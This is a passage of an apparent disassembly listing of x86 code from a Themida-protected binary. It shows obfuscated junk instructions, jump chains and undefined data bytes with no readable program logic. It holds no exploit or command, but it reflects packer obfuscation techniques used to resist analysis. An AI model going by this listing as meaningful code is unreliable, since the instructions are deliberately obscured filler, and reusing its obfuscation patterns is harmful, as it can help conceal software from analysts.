		dd 0C100007Bh, 4DE902EDh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F8B:				; CODE XREF: Themida_:0055B56Fj
		not	ebx
		jmp	loc_553519
; ---------------------------------------------------------------------------
		dw 0C31h
aSV		db '$éšv',0
		align 2
		dw 0E6C1h
		dd 55DEF706h, 636DE9h
		db 0
; ---------------------------------------------------------------------------


loc_553FA5:				; CODE XREF: Themida_:0055DC10j
		add	esp, 4
		pop	ebx
		not	ebx
		xchg	ebx, edi
		jmp	loc_558156
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956240Ch, 1D41E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553FBE:				; CODE XREF: Themida_:00553424j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_556DDF
; ---------------------------------------------------------------------------
		dd 0E9CA0166h, 99C6h, 0BB241C89h, 512718DBh, 1000E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553FDE:				; CODE XREF: Themida_:0055DBCDj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 25DE707Ah
		or	ebx, 34167001h
		add	ebx, 1DC0D488h
		jmp	loc_55E2A7
; ---------------------------------------------------------------------------
		dw 489h
		dd 1B16824h, 8F540000h,	0E9532404h, 7A40h
; ---------------------------------------------------------------------------


loc_554010:				; CODE XREF: Themida_:00558C49j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55C3E9
; ---------------------------------------------------------------------------
		dd 0F7889CB6h, 8124148Bh, 4C4h,	0E958B000h, 70FAh, 0E902EBC1h
		dd 69B0h, 52D568h, 6BE95600h, 0FEFFFFF9h, 1DCF80C7h, 0F603EFC0h
		dd 8043E9D7h, 4810000h,	6A5E5424h, 242C817Fh, 0FDB27A8h
		dd 0BA240481h, 682E8334h, 3385h, 0B8240489h, 350A75D7h
		dd 0B4054848h, 8137EDABh, 57042444h, 1550378h, 81042444h
		dd 5704246Ch, 58550378h, 0FFE771E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55409D:				; CODE XREF: Themida_:00553435j
		sub	edx, 4
		jmp	loc_55A65F
; ---------------------------------------------------------------------------
		dd 0FBE9ACB7h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5540AF:				; CODE XREF: Themida_:00558C82j
		add	[esp+8], ecx
		pop	ecx
		sub	dword ptr [esp+4], 4FD673D9h
		add	[esp+4], esi
		add	dword ptr [esp+4], 4FD673D9h
		sub	dword ptr [esp+4], 1CED3515h
		push	ebp
		mov	ebp, 117B1179h
		sub	[esp+8], ebp
		jmp	loc_55A43D
; ---------------------------------------------------------------------------
		db 81h
		dd 7B3D72EAh, 81DA0155h, 7B3D72C2h, 14335B55h, 24143124h
		dd 8B241433h, 8B662424h, 83552404h, 0B9E904ECh,	0FFFFFFF4h
		dd 0E700E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55410E:				; CODE XREF: Themida_:0055B43Bj
		pop	eax
		sub	edx, esi
		pop	esi
		sub	eax, edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	587Bh
		mov	[esp], esi
		push	8000h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_552CD1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0FFEF72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554145:				; CODE XREF: Themida_:00559701j
		and	ecx, 22DC4AD6h
		add	ecx, 784D727Fh
		jmp	loc_55930C
; ---------------------------------------------------------------------------


loc_554156:				; CODE XREF: Themida_:00557485j
		add	edx, edi
		jmp	loc_5529C5
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 19B7E9h, 0E9DAB000h,	7C3h, 0E9D6295Dh, 30Bh,	8904EC83h
		dd 94E92404h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55417F:				; CODE XREF: Themida_:00559E36j
		mov	esi, edx
		pop	edx
		push	5757327Ch
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_55CEAB
; ---------------------------------------------------------------------------
		db 0BAh, 6, 27h
		dd 0BB530D0Ch, 5DE54D0h, 0D32C381h, 0DA2161AFh,	83241C8Bh
		dd 0DAF704C4h, 44E3CA81h, 0DAF73AF6h, 0A6E9DAF7h, 8300001Fh
		dd 0B70404C4h, 8622E9h,	0E9F32800h, 64A0h
; ---------------------------------------------------------------------------


loc_5541D4:				; CODE XREF: Themida_:0055E698j
		mov	edi, esp
		push	esi
		jmp	loc_55C283
; ---------------------------------------------------------------------------
		dd 5166D0F6h, 39DFE9h, 0EEC14600h, 81D6F705h, 0AD8BF4F6h
		dd 5EF00187h, 76E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5541F9:				; CODE XREF: Themida_:0055810Aj
		mov	edx, esp
		jmp	loc_55B7BA
; ---------------------------------------------------------------------------


loc_554200:				; CODE XREF: Themida_:0055324Dj
		mov	[esp], edx
		jmp	loc_55E1DF
; ---------------------------------------------------------------------------
		dd 4C481h, 71E90000h, 5000009Eh, 0FFFF4CE9h, 16E951FFh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55421F:				; CODE XREF: Themida_:005579A8j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_556A98
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B8505104h, 2DFD5AACh, 0FFEEACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554239:				; CODE XREF: Themida_:0055435Fj
		push	ebx
		mov	ebx, 2045F1h
		jmp	loc_55B85C
; ---------------------------------------------------------------------------
		dd 8105EDC1h, 0DC2C32F5h, 29BE567Dh, 2975145Ah,	0D5F75EF5h
		dd 4322ED81h, 0EE89F85Dh, 5D2434FFh, 4C481h, 0F3290000h
		dd 2F42E9h
		db 0
; ---------------------------------------------------------------------------


loc_554271:				; CODE XREF: Themida_:00553B81j
		pop	esp
		or	eax, eax
		jz	loc_557288
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55768E
; ---------------------------------------------------------------------------
		dd 0BB53E189h, 29AE3DE5h, 0A005E9h
		db 0
; ---------------------------------------------------------------------------


loc_554295:				; CODE XREF: Themida_:00558C43j
		push	edx
		push	edi
		mov	edi, 0BD82D92h
		neg	edi
		jmp	loc_554A89
; ---------------------------------------------------------------------------
		db 57h
		dd 2BFh, 5FFB8900h, 575BDD01h, 0BEE9E789h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5542B7:				; CODE XREF: Themida_:0055690Aj
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	ebx, 50E2D3Bh
		add	ebx, ecx
		add	ebx, 50E2D3Bh
		jmp	loc_55D97B
; ---------------------------------------------------------------------------


loc_5542D9:				; CODE XREF: Themida_:0055AA56j
		mov	esi, [esp]
		add	esp, 4
		and	ecx, 19E47295h
		push	edi
		jmp	loc_5594CF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54522414h, 8B2434FFh, 0C4812414h, 4,	157AE951h, 3A680000h
		dd 0E9000036h, 7348h, 681BBB53h, 0E9436F85h, 503Bh, 4E06EEC1h
		dd 5DF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_554325:				; CODE XREF: Themida_:0055501Dj
		xor	ebx, 0E9445718h
		sub	edx, ebx
		jmp	loc_55530B
; ---------------------------------------------------------------------------


loc_554332:				; CODE XREF: Themida_:0055D483j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C542
; ---------------------------------------------------------------------------


loc_55434C:				; CODE XREF: Themida_:00558E66j
		add	esp, 4
		push	70D7h
		mov	[esp], edx
		mov	edx, 93F0E31h
		jmp	loc_554239
; ---------------------------------------------------------------------------


loc_554364:				; CODE XREF: Themida_:00557DB4j
		dec	esi
		dec	esi
		jmp	loc_557BA2
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 53FAE9h, 0C3815900h, 52694908h, 4EC81h
		dd 0C890000h, 0CDB75324h, 7405E9h, 0ABED8100h, 15AC87Dh
		dd 73C0E9EAh, 815E0000h, 4C6h, 4C68300h, 2474FF56h, 48F5E04h
		dd 24248B24h, 60FB6866h, 4FC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5543BD:				; CODE XREF: Themida_:0055DD77j
		push	ebp
		mov	ebp, 60031906h
		sub	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55286D
; ---------------------------------------------------------------------------
		dd 0FE640B9h, 0EE0E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543DE:				; CODE XREF: Themida_:005566C0j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	0AE938B8h
		pop	edi
		jmp	loc_55C4C5
; ---------------------------------------------------------------------------
aSs		db 'Sé/',0Bh,0
		dd 58C10100h, 0E904EC83h, 6E4h,	184DE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55440A:				; CODE XREF: Themida_:00559829j
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55B020
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8B66C0B6h, 26E92414h, 52000064h, 4EC81h, 1C890000h
		dd 57F8BB24h, 0EBC15820h, 0D3F74304h, 3569E381h, 0EBC16ADEh
		dd 9608E902h, 0D9F70000h, 0C428F181h, 0CA0131FDh, 4EC8359h
		dd 0B9240C89h, 4, 477EE9h, 0BA525C00h, 1BC46830h, 2414F752h
		dd 6177E9h, 90AA3500h, 94E9FF8Ah, 5AFFFFE7h, 348BF189h
		dd 78DBE924h, 348B0000h, 4C48124h, 50000000h, 4B8h, 58C12900h
		dd 7C9BE9h, 4B900h, 0C8010000h,	8C2DE9h, 51D98800h, 4EC81h
		dd 1C890000h, 12E95224h, 81000059h, 4C4h, 4C08300h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		sub	ebp, esi
		jmp	loc_558C1A
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 127h, 5C241C87h, 0BB241C89h,	708A6F13h, 815BDD01h, 157AA1C5h
		dd 9DF5816Bh, 1FFEE65h,	0C1815DE9h, 2, 8B240C87h, 0F662424h
		dd 9C2404BBh, 0FFE2F1E9h, 0BF0F5CFFh, 660C68C8h, 0C890000h
		dd 0E2E0E924h, 0EB20FFFFh, 7ED8E959h, 0E6BE0000h, 0E9587802h
		dd 178Dh, 75CAC981h, 0E9817075h, 405538h, 57CB8953h, 0FE89DF89h
		dd 6999E9h, 24148B00h, 0E9E38953h, 4FD3h
; ---------------------------------------------------------------------------


loc_554564:				; CODE XREF: Themida_:0055A041j
		or	ecx, 1EDB7808h
		sub	ecx, 39762F9Dh
		jmp	loc_5566E0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3087E9h, 0BE565700h,	5D83DFBh, 0E50E9h
		db 0
; ---------------------------------------------------------------------------


loc_554589:				; CODE XREF: Themida_:005585A2j
		add	esp, 2
		jmp	loc_55DB6E
; ---------------------------------------------------------------------------


loc_554591:				; CODE XREF: Themida_:00555A1Bj
		or	edx, eax
		jmp	loc_5555E5
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 8B54243Ch, 0C481243Ch,	4, 40DEBB53h
		dd 0EB8152E6h, 0E3F07ACh, 26DFE9h, 1A496800h, 11E90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5545C7:				; CODE XREF: Themida_:00555ACBj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 779F5BCDh
		or	edx, 1E047610h
		jmp	loc_555311
; ---------------------------------------------------------------------------
		dw 9ABAh
		dd 0B8639651h, 0F46DF4D8h, 0BF5AD001h, 0BD7A95E2h, 1A8FC781h
		dd 0C70176D5h, 1A8FEF81h, 0D5E976D5h, 5B000054h, 4C381h
		dd 2FE90000h, 81000069h, 6C4E27E5h, 0CAE9450Ah
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554627:				; CODE XREF: Themida_:00557989j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55696F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0FF2434FFh, 83582434h, 895004C4h,	405E0h
		dd 0C0830000h, 24048704h, 4C4815Ch, 52000000h, 0C2815A54h
		dd 4, 4C281h, 14870000h, 24248B24h, 51240C8Bh, 0FDE9E189h
		dd 59FFFFEDh, 2961E9h, 5BF88800h, 220C752Ch, 53E91D0Ch
		dd 40h,	0D1C280E2h, 6617C280h, 952CE958h, 0E95B0000h, 4E3Dh
; ---------------------------------------------------------------------------


loc_5546AC:				; CODE XREF: Themida_:00558D31j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		dec	ebx
		add	ebx, 95A5B844h
		add	edx, ebx
		jmp	loc_55DDEA
; ---------------------------------------------------------------------------
aHnn		db '[hnn',0
		dw 8900h
		dd 0E9502414h, 8F77h
; ---------------------------------------------------------------------------


loc_5546DC:				; CODE XREF: Themida_:00554EBFj
		push	1776h
		mov	[esp], ebx
		xor	dword ptr [esp], 3FFD2AE8h
		mov	eax, [esp]
		push	26E8h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_55B1FB
; ---------------------------------------------------------------------------
		db 28h
		dd 5A5A66F0h, 2C33B652h, 51F000A3h, 0B559B353h,	5BDD28BBh
		dd 0E9CFE580h, 4F4Ch, 0BABC381h, 0EB811565h, 509F61D5h
		dd 0E92434FFh, 81E5h, 0ADC3805Ah, 28EEC380h, 0EEEB80C3h
		dd 51ADEB80h, 516634B1h, 0CB2895B1h, 240C8B66h,	2C481h
		dd 0E7E90000h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55475B:				; CODE XREF: Themida_:0055C44Fj
		mov	edx, 7DCE2BC3h
		mov	ebp, edx
		pop	edx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_555C62
; ---------------------------------------------------------------------------


loc_55476F:				; CODE XREF: Themida_:00555B8Bj
		sub	al, dl
		mov	dx, [esp]
		add	esp, 2
		push	edx
		jmp	loc_55A04C
; ---------------------------------------------------------------------------
		dw 0D5BDh
		dd 0E90FD84Ah, 844Ch, 240C8B66h, 7DC768h, 240C8900h, 0FFE7BBE9h
		dd 2FD92DFFh, 8951EC0Eh, 0E9CA89C1h, 99Fh, 0C381EB01h
		dd 720733CFh, 355DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5547B5:				; CODE XREF: Themida_:00554B54j
		push	edx
		jmp	loc_558AAD
; ---------------------------------------------------------------------------
		db 81h
		dd 27A82404h, 2C810FDBh, 6A5E5424h, 2404017Fh, 0FFF889E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5547D1:				; CODE XREF: Themida_:00556E6Fj
		pop	ebp
		push	esi
		jmp	loc_55D732
; ---------------------------------------------------------------------------
		dd 54241489h, 0A9BF575Ah, 51562C7Eh, 821BC7B9h,	81E1D10Bh
		dd 314629C1h, 4915E951h, 77FF0000h, 59669D1Ch, 9C241CD2h
		dd 0FFE009E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554805:				; CODE XREF: Themida_:005576CBj
		mov	ecx, [esp]
		add	esp, 4
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_557A2C
; ---------------------------------------------------------------------------
aFiFbfh		db 'f‰Ú[fBfh',0
		dd 14296600h, 665A6624h, 6602EAC1h, 649E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55483A:				; CODE XREF: Themida_:0055C371j
		mov	ebx, [esp]
		jmp	loc_55B164
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 582434FFh, 6E4E68h, 4DA0E900h, 66640000h
		dd 6866028Bh, 896661C6h, 0A7E92404h, 0FFFFFFDFh, 48B2434h
		dd 4C48124h, 50000000h,	0EC83E089h, 241C8904h, 468h, 0D8015B00h
		dd 81241C8Bh, 4C4h, 60D7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554892:				; CODE XREF: Themida_:00555089j
		push	ecx
		mov	ecx, 140DE721h
		xor	edx, ecx
		pop	ecx
		jmp	loc_55A03B
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 4C57h
; ---------------------------------------------------------------------------


loc_5548A8:				; CODE XREF: Themida_:0055CA3Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	6CCFh
		mov	[esp], edx
		mov	edx, 68AC0EFAh
		push	edx
		pop	ebp
		pop	edx
		jmp	loc_55A097
; ---------------------------------------------------------------------------
		dw 9368h
		dd 0E900007Bh, 5553h, 5BD4C580h, 4DE9E828h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5548F3:				; CODE XREF: Themida_:005566E1j
		not	ecx
		add	ecx, 4A3A6ACDh
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		jmp	loc_559ACA
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 6Dh
		dd 0E97E0C4Ch, 7E5Bh
; ---------------------------------------------------------------------------


loc_554910:				; CODE XREF: Themida_:0055D14Aj
		shr	ebp, 4
		jmp	loc_55C96C
; ---------------------------------------------------------------------------
		dd 9C243CD2h, 0FFDEEDE9h, 241C87FFh, 4A30F5Ch, 4AE99C24h
		dd 2C000039h, 921CE9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554936:				; CODE XREF: Themida_:00553BCEj
		mov	ecx, 18867572h
		sub	edx, ecx
		pop	ecx
		push	esi
		push	eax
		mov	eax, 328121D6h
		jmp	loc_554FB0
; ---------------------------------------------------------------------------


loc_55494A:				; CODE XREF: Themida_:00555F31j
		sub	dword ptr [esp+4], 0ECD6BD8h
		pop	edi
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_5570D2
; ---------------------------------------------------------------------------
aRhzxS2		db 'Rh§X',0Dh,'#é2:',0
		align 4
aSm1		db ')Öé¬1',0
		dw 5C00h
		dd 242CD366h, 0DE90E99Ch, 348BFFFFh, 4C48324h, 8CF1E9h
		dd 243C8900h, 9B47F8BFh, 9713E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554996:				; CODE XREF: Themida_:0055E64Cj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		xchg	eax, [esp]
		xchg	eax, esi
		jmp	loc_55CA34
; ---------------------------------------------------------------------------
aRsq		db 'RéŸ:',0
		align 4


loc_5549B8:				; CODE XREF: Themida_:0055D76Fj
		mov	[edi+20h], edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_559FD9
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0DE34E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5549DA:				; CODE XREF: Themida_:00558C77j
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, 0CD8B8531h
		sub	ecx, edi
		pop	edi
		not	ecx
		shr	ecx, 6
		push	ecx
		push	ebp
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5563EE
; ---------------------------------------------------------------------------


loc_5549F9:				; CODE XREF: Themida_:0055E05Bj
		sub	ebx, 39B11FFCh
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_553F2A
; ---------------------------------------------------------------------------
aS_		db '\éÁ.',0
		align 10h
		dd 4524C281h, 0C2813768h, 16EE3159h, 0EA81C201h, 16EE3159h
		dd 65E95255h, 6600002Bh, 68240C8Bh, 68E2h, 83241489h, 0EC8104ECh
		dd 4, 81242489h, 42404h, 48F0000h, 24048324h, 0F685A04h
		dd 89000074h, 4BD242Ch,	1000000h, 0C2815DEAh, 2, 2474FF52h
		dd 6D9EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A72:				; CODE XREF: Themida_:00553650j
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5589F9
; ---------------------------------------------------------------------------
aUscb		db 'Uéæ',0
		dw 5000h
		dd 9238E9h
		db 0
; ---------------------------------------------------------------------------


loc_554A89:				; CODE XREF: Themida_:0055429Ej
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 70BB1C17h
		neg	esi
		inc	esi
		shl	esi, 4
		add	esi, 0FFD993CFh
		push	eax
		push	ebx
		mov	ebx, esi
		mov	eax, ebx
		pop	ebx
		mov	ecx, eax
		pop	eax
		jmp	loc_55DB68
; ---------------------------------------------------------------------------
		dd 0E902E2C1h, 93F8h, 0C281E289h, 4, 8704C283h,	248B2414h
		dd 50535724h, 4EDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_554AD1:				; CODE XREF: Themida_:005596B1j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1D3B6CC4h
		jmp	loc_55B9FC
; ---------------------------------------------------------------------------
aYps@		db 'YPé@{',0
		align 4
		dd 0BE243489h, 4, 875EF101h, 248B240Ch,	2434FF24h, 0E3895358h
		dd 0E9E28952h, 0FFFFE0BAh, 5324048Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0E618E924h, 0D029FFFFh, 5624148Bh, 62E9E689h
		dd 0FFFFFFDFh, 0C8B2434h, 4C48324h, 467068h, 240C8900h
		dd 5173E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B45:				; CODE XREF: Themida_:00556AF5j
		push	5C538DBh
		pop	esi
		sub	esi, 0DF57EF99h
		mov	ebx, esi
		pop	esi
		jmp	loc_5547B5
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 6
		dd 0F6CEB252h, 8CA80DAh, 4029E9h, 0F8F28100h, 0D14C5752h
		dd 2BBB53E2h, 0F77E746Eh, 26E381DBh, 0E93BFD19h, 5D9Eh
		dd 5C241C87h, 68240489h, 6CB5h,	89241489h, 4C281E2h, 57000000h
		dd 4BFh, 5FFA2900h, 2474FF52h, 4728E904h, 4050000h, 0E9000000h
		dd 9111h, 4BEh,	24448100h, 9C484104h, 246C8140h, 2D1A7704h
		dd 24740179h, 24448104h, 2D1A7704h, 246C8179h, 9C484104h
		dd 24348B40h, 4C481h, 48B0000h,	4C48324h, 3428E9h, 27685200h
		dd 5A55D36Bh, 0C107E2C1h, 0EC8305E2h, 242C8904h, 27226CBDh
		dd 5DEA3152h, 0FFEF40E9h, 5A7D04FFh, 0C1304E2Ch, 59CE2858h
		dd 2C5AF000h, 0E9D80047h, 458Dh, 26EE815Eh, 5A15E379h
		dd 3176EE81h, 710520F6h, 13C3A6Dh, 6D712DF0h, 555E3C3Ah
		dd 2BDh, 8BE80100h, 0C483242Ch,	8C6EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554C5A:				; CODE XREF: Themida_:0055B107j
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 62864729h
		inc	ebp
		or	ebp, 5E2002F1h
		sub	ebp, 7EA647F7h
		sub	eax, 648C698Bh
		jmp	loc_556841
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0FFFFDB82h, 83243C8Bh, 30E904C4h, 0C1000005h
		dd 0F38103E3h, 4BFCD624h, 0D2E9D801h, 0ADFFFFE2h, 46968h
		dd 243C8900h, 2078E9h, 0EEC38000h, 1C8BD830h, 4C48324h
		dd 5C75E9h
		db 0
; ---------------------------------------------------------------------------


loc_554CC5:				; CODE XREF: Themida_:0055CA10j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_556DEA
; ---------------------------------------------------------------------------
		dd 3AF8E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554CF6:				; CODE XREF: Themida_:0055B7B5j
		pop	edi
		jmp	loc_55B2C3
; ---------------------------------------------------------------------------


loc_554CFC:				; CODE XREF: Themida_:00552AAFj
		sub	eax, 3BDB34A2h
		jmp	loc_555403
; ---------------------------------------------------------------------------
		dw 0D101h
aZsu		db 'Zéî:',0
		align 2


loc_554D0E:				; CODE XREF: Themida_:0055D37Dj
		mov	ebp, [esp]
		jmp	loc_557D9A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0ED682404h, 8900001Ah, 5D54242Ch, 6C0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554D29:				; CODE XREF: Themida_:0055CC64j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		jmp	loc_55D303
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 24048F5Eh,	5524248Bh, 2D3FC2BDh, 28BD552Bh
		dd 8120EB7Bh, 7B2E5CF5h, 5DEF0111h, 25E9EF29h, 5F00000Ah
		dd 6F6CE956h, 8B660000h, 68552404h, 2615h, 81242489h, 42404h
		dd 835D0000h, 1C8904ECh, 2A65BB24h, 0BD55327Ah,	529B7E3Ch
		dd 0B3BED81h, 814D5C9Fh, 44939CDh, 7A8FE941h, 0F7430000h
		dd 5E3C1DBh, 2584C381h,	0DD01FAFAh, 4BF575Bh, 1000000h
		dd 2C335FFDh, 242C3124h, 5C242C33h, 9C240429h, 0FFDA39E9h
		dd 24048FFFh, 3024248Bh, 0E95966C8h, 2E0Dh
; ---------------------------------------------------------------------------


loc_554DE4:				; CODE XREF: Themida_:00559381j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5557BB
; ---------------------------------------------------------------------------


loc_554DFE:				; CODE XREF: Themida_:00556878j
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_552A03
		push	ecx
		push	edi
		mov	edi, 5645FB8h
		add	edi, 4D64A864h
		push	edx
		jmp	loc_556D12
; ---------------------------------------------------------------------------


loc_554E1D:				; CODE XREF: Themida_:00553CDDj
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp


loc_554E24:				; CODE XREF: Themida_:0055DE60j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	eax
		mov	eax, 44E63654h
		inc	eax
		jmp	loc_55C0F2
; ---------------------------------------------------------------------------
		dw 0FB68h
		dd 89000012h, 5E682434h, 54000047h, 8124048Fh, 42404h
		dd 575E0000h, 4BFh, 6E69E900h, 0C4810000h, 4, 555EF001h
		dd 2BDh, 0E9E80100h, 39D2h
; ---------------------------------------------------------------------------


loc_554E78:				; CODE XREF: Themida_:00554F9Bj
		sub	ebp, 0A0FE586Eh
		jmp	loc_55BED5
; ---------------------------------------------------------------------------
aFUfSS		db 'f½¿uf)êé·s',0
		db 0
; ---------------------------------------------------------------------------


loc_554E8F:				; CODE XREF: Themida_:0055E21Ej
		mov	edx, 5D51DEDh
		sub	edx, 0FFFFFFFFh
		push	eax
		mov	eax, 1
		sub	edx, eax
		pop	eax
		jmp	loc_552EEB
; ---------------------------------------------------------------------------
a4csi		db '°Í4Céˆ',1Bh,0
		align 2
		dw 34FFh
		dd 7911E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554EB6:				; CODE XREF: Themida_:0055A50Aj
		dec	ecx
		jmp	loc_557D48
; ---------------------------------------------------------------------------


loc_554EBC:				; CODE XREF: Themida_:0055664Cj
		shr	ecx, 0Bh
		jmp	loc_5546DC
; ---------------------------------------------------------------------------
		dd 5366F828h, 0F800F6B7h, 662C5B66h, 685B132Ch,	0F5Bh
		dd 51241C89h, 885211B5h, 0F58851EEh, 300BE9h, 40500h, 0BB530000h
		dd 2, 34FFD801h
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_552E57
; ---------------------------------------------------------------------------
		dd 424AEFBFh, 246C8106h, 8A4EFE08h, 7408E93Dh, 0E9540000h
		dd 3065h, 0C381E389h, 4, 8704C383h, 2AE9241Ch, 81FFFFF5h
		dd 144C96EBh, 0C5EB81F6h, 29A7D4B2h, 8B4BE9DAh,	88520000h
		dd 885351CEh, 0E9DAE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F5A:				; CODE XREF: Themida_:0055E562j
		add	ebp, 4
		push	eax
		jmp	loc_55ACFE
; ---------------------------------------------------------------------------
aBsezyS7	db 'éeZY"éÛ7',0
		db 0
; ---------------------------------------------------------------------------


loc_554F71:				; CODE XREF: Themida_:0055D543j
		mov	esi, 449E42E3h
		xor	esi, 0D2E264DFh
		add	eax, esi
		jmp	loc_55DAE8
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFE2D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F89:				; CODE XREF: Themida_:0055882Dj
		and	ebp, 4181549Bh
		sub	ebp, 47B9577Ah
